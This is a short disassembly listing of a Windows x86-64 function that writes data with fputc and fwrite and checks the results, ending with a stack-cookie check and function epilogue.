call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140005731
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140005712
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000572c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140005731
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14008b020
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret